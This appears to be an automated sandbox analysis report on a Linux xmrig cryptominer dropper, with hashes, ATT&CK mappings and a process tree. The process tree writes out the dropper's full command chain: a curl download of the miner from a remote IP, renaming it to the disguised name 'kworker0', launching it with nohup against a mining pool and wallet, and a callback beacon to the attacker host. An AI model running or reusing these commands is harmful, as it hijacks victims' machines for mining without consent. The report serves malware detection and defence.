xmrig_linux | 8184c3f4d83c34eb29fb23ae19ad36617ab75cacc9b3c625d660b715450d343d

Analysis

max time kernel
28s
max time network
29s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21/10/2026, 04:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8184c3f4d83c34eb29fb23ae19ad36617ab75cacc9b3c625d660b715450d343d
Size 930B
Sample261021-e6w65sywey
SHA256 8184c3f4d83c34eb29fb23ae19ad36617ab75cacc9b3c625d660b715450d343d
MD5 e11c471f367bcf8a61a29e7dfc483cb3
SHA1 68fb1d61b4edd052f48d201e2ea40f6a6ef33563
SHA512 4dbe1eadf2c547d0c838151b3917d4e542f793054403c623b5fb91d9e80feb9a3bc3aa34425045e42ba9f71458a215367c793bc5094bbeae3facb292d2733a61
TLSH
T18F117AE5ED30C930704CC416B95D13B5C9CA4A7F64FA3E5A9092BD32509C64DE50C722
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm defense_evasion discovery xmrig_linux miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-4.dat	family_xmrig
behavioral2/files/fstream-4.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
679	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/kworker0	683	nohup

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
681	ps

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/24/status	ps
File opened for reading	/proc/25/stat	ps
File opened for reading	/proc/29/status	ps
File opened for reading	/proc/329/stat	ps
File opened for reading	/proc/587/stat	ps
File opened for reading	/proc/594/cmdline	ps
File opened for reading	/proc/681/stat	ps
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/2/status	ps
File opened for reading	/proc/9/stat	ps
File opened for reading	/proc/43/status	ps
File opened for reading	/proc/176/status	ps
File opened for reading	/proc/283/status	ps
File opened for reading	/proc/283/cmdline	ps
File opened for reading	/proc/572/stat	ps
File opened for reading	/proc/666/status	ps
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/10/cmdline	ps
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/29/stat	ps
File opened for reading	/proc/83/cmdline	ps
File opened for reading	/proc/104/stat	ps
File opened for reading	/proc/647/status	ps
File opened for reading	/proc/6/status	ps
File opened for reading	/proc/13/cmdline	ps
File opened for reading	/proc/143/stat	ps
File opened for reading	/proc/146/stat	ps
File opened for reading	/proc/221/status	ps
File opened for reading	/proc/276/status	ps
File opened for reading	/proc/283/stat	ps
File opened for reading	/proc/326/status	ps
File opened for reading	/proc/12/cmdline	ps
File opened for reading	/proc/682/cmdline	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/status	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/114/cmdline	ps
File opened for reading	/proc/142/status	ps
File opened for reading	/proc/682/status	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/18/cmdline	ps
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/286/cmdline	ps
File opened for reading	/proc/309/cmdline	ps
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/5/cmdline	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/16/stat	ps
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/104/cmdline	ps
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/8/stat	ps
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/28/status	ps

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
769	curl

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/miner.log	8184c3f4d83c34eb29fb23ae19ad36617ab75cacc9b3c625d660b715450d343d
File opened for modification	/tmp/S�@@p�~@8	sh
File opened for modification	/tmp/x.tgz	curl
File opened for modification	/tmp/xmrig-6.22.2/config.json	tar
File opened for modification	/tmp/xmrig-6.22.2/SHA256SUMS	tar
File opened for modification	/tmp/xmrig-6.22.2/xmrig	tar

/tmp/8184c3f4d83c34eb29fb23ae19ad36617ab75cacc9b3c625d660b715450d343d
/tmp/8184c3f4d83c34eb29fb23ae19ad36617ab75cacc9b3c625d660b715450d343d
1⤵
- Writes file to tmp directory
PID:649
- /usr/bin/curl
  curl -m 120 -o /tmp/x.tgz http://195.85.114.192/xmrig.tar.gz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:651
- /bin/tar
  tar xzf x.tgz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:676
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:677
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:677
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:677
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:677
- - /sbin/gzip
    gzip -d
    3⤵
    PID:677
- - /bin/gzip
    gzip -d
    3⤵
    PID:677
- /bin/mv
  mv xmrig-6.22.2/xmrig kworker0
  2⤵
  PID:678
- /bin/chmod
  chmod +x kworker0
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /bin/rm
  rm -f x.tgz
  2⤵
  PID:680
- /bin/grep
  grep "[/]tmp/kworker0"
  2⤵
  PID:682
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:681
- /bin/sleep
  sleep 25
  2⤵
  PID:684
- /usr/bin/nohup
  nohup /tmp/kworker0 "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p rmq "--threads=2"
  2⤵
  - Executes dropped EXE
  PID:683
- /tmp/kworker0
  /tmp/kworker0 "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p rmq "--threads=2"
  2⤵
  PID:683
- /bin/sh
  /bin/sh /tmp/kworker0 "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p rmq "--threads=2"
  2⤵
  - Writes file to tmp directory
  PID:683
- /usr/bin/tr
  tr -d "\\n"
  2⤵
  PID:767
- /usr/bin/tr
  tr -c "a-zA-Z0-9 ." _
  2⤵
  PID:768
- /usr/bin/tail
  tail -c 150 /tmp/miner.log
  2⤵
  PID:766
- /usr/bin/curl
  curl -m 8 "http://195.85.114.192/cb?ip=x&e=_tmp_kworker0_ 1_ _tmp_kworker0_ _ELF_____ not found_tmp_kworker0_ 1_ _tmp_kworker0_ Syntax error_ Unterminated quoted string"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:769

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

miner.log

Path /tmp/miner.log
Size 53B
SHA256 cd4fc8b42b8f6d1cda88bd45d18754b17c7bab3dc2edd1ebf8c0772302c4d1a3
MD5 7972308cc4bf789701854045187ea7a5
SHA1 a9f4a1f163e512399d02ca17a7ff62d724f096c3
SHA512 bcc01d52f530e48eeb441e2bcf178b05633af3509259391dcb89e02eeacfd5816de20b40e4dbb628ca9ee21ab66df084fdb085b6ee375fe51bf864ccb0fa777d
MD5 SHA1 SHA512

Submit Download

miner.log

Path /tmp/miner.log
Size 127B
SHA256 57d5bdd729640f67141cd10540b6fcad5ec16f1e3995d462550a6cd3dda29e38
MD5 829842534587055b4ce9aa862e3db8e7
SHA1 5940fac68338a91da30537f3f3d98616fcfd124a
SHA512 7d6b480b586b147d0cb7240408fb54998b59a14f29fa9187a013ce3de69dc4eb9201542543432eff5b799c62a76b0983793e1273a52529c635352b7c2b28981d
TLSH
T1C0B0121D0DC2C5C4371001F44E600760C1010EBF1EF32117085FC03B40C7C008C54748
MD5 SHA1 SHA512 TLSH

Submit Download

x.tgz

Path /tmp/x.tgz
Size 3.3MB
SHA256 b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7
MD5 8feb9a1c7da97b6e0d254d93da37371d
SHA1 090510d9ac1aedbce99fe98cc7396cfcfe6a3951
SHA512 2dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db
SSDEEP 98304:z76rYWTjsJINfKYi8t4jQ8Vf1nShTOSBU+:z76NfN7TW2T3F
TLSH
T14CF5335F9711B7C7122820EE5362B60A4B0C6895EC167BC4A5F1692A366F1CF237FD23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SHA256SUMS

Path /tmp/xmrig-6.22.2/SHA256SUMS
Size 150B
SHA256 cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1
MD5 554d057fe1c4eab2071450cf6c434dc5
SHA1 9fa4d5aa72d698f72d105fce0bd44657f244c7e6
SHA512 be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8
TLSH
T15FC08C52463CC4515422C923AA91DD94832636122753598940ABA21696AAE02CDB3C20
MD5 SHA1 SHA512 TLSH

Submit Download

config.json

Path /tmp/xmrig-6.22.2/config.json
Size 2KB
SHA256 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
MD5 66f38c96a4901e7b345787c447842b3e
SHA1 2aa9b4d1bd2edd5d81bd9725e9318edaee67531f
SHA512 71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f
TLSH
T16E419E25C9781CFA0295A0BC88EDA2934628C1075F593C7CB54C995C2F0E73E76B6BE2
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig

Path /tmp/xmrig-6.22.2/xmrig
Size 7.9MB
SHA256 b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
MD5 8f4fff0ded94f1141768220906abfbb8
SHA1 ea7c97294f415dc8713ac8c280b3123da62f6e56
SHA512 0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee
SSDEEP 98304:yr6P2CZlp4ledj/mf7ukUzX093B9VK/OQGthOlgPEWi1MVNWoGt7rPAW3R1lrepM:bl4lcmDi1WIPFCBNcJ7oEkLsQ
TLSH
T134866C47B5E318FDC19AC470472FD6A3BD7078A84221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads